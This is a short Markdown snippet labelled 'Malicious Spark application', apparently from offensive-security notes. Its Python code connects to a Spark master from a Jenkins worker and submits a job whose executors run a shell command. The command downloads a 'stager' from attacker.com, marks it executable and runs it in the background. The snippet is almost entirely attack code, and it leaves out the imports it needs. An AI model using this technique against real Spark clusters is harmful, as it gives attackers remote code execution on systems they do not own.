23 lines
767 B
Markdown
23 lines
767 B
Markdown
- Malicious Spark application - initializing Spark context
|
|
```Python
|
|
from pyspark import SparkContext, SparkConf
|
|
# Set up configuration options
|
|
conf = SparkConf()
|
|
conf = conf.setAppName("Word Count")
|
|
# Add the IP of the Spark master
|
|
conf = conf.setMaster("spark://<master_IP>:7077")
|
|
# Add the IP of the Jenkins worker we are currently on
|
|
conf = conf.set("spark.driver.host", "<worker_IP>")
|
|
# Initialize the Spark context with the necessary info to reach the master
|
|
sc = SparkContext(conf = conf)
|
|
partList = sc.parallelize(range(0, 1))
|
|
finalList = partList.map(
|
|
lambda x: subprocess.Popen(
|
|
"wget https://attacker.com/stager && chmod +x ./stager && ./stager &",
|
|
shell=True,
|
|
preexec_fn=os.setpgrp,
|
|
)
|
|
)
|
|
finalList.collect()
|
|
time.sleep(10)
|
|
``` |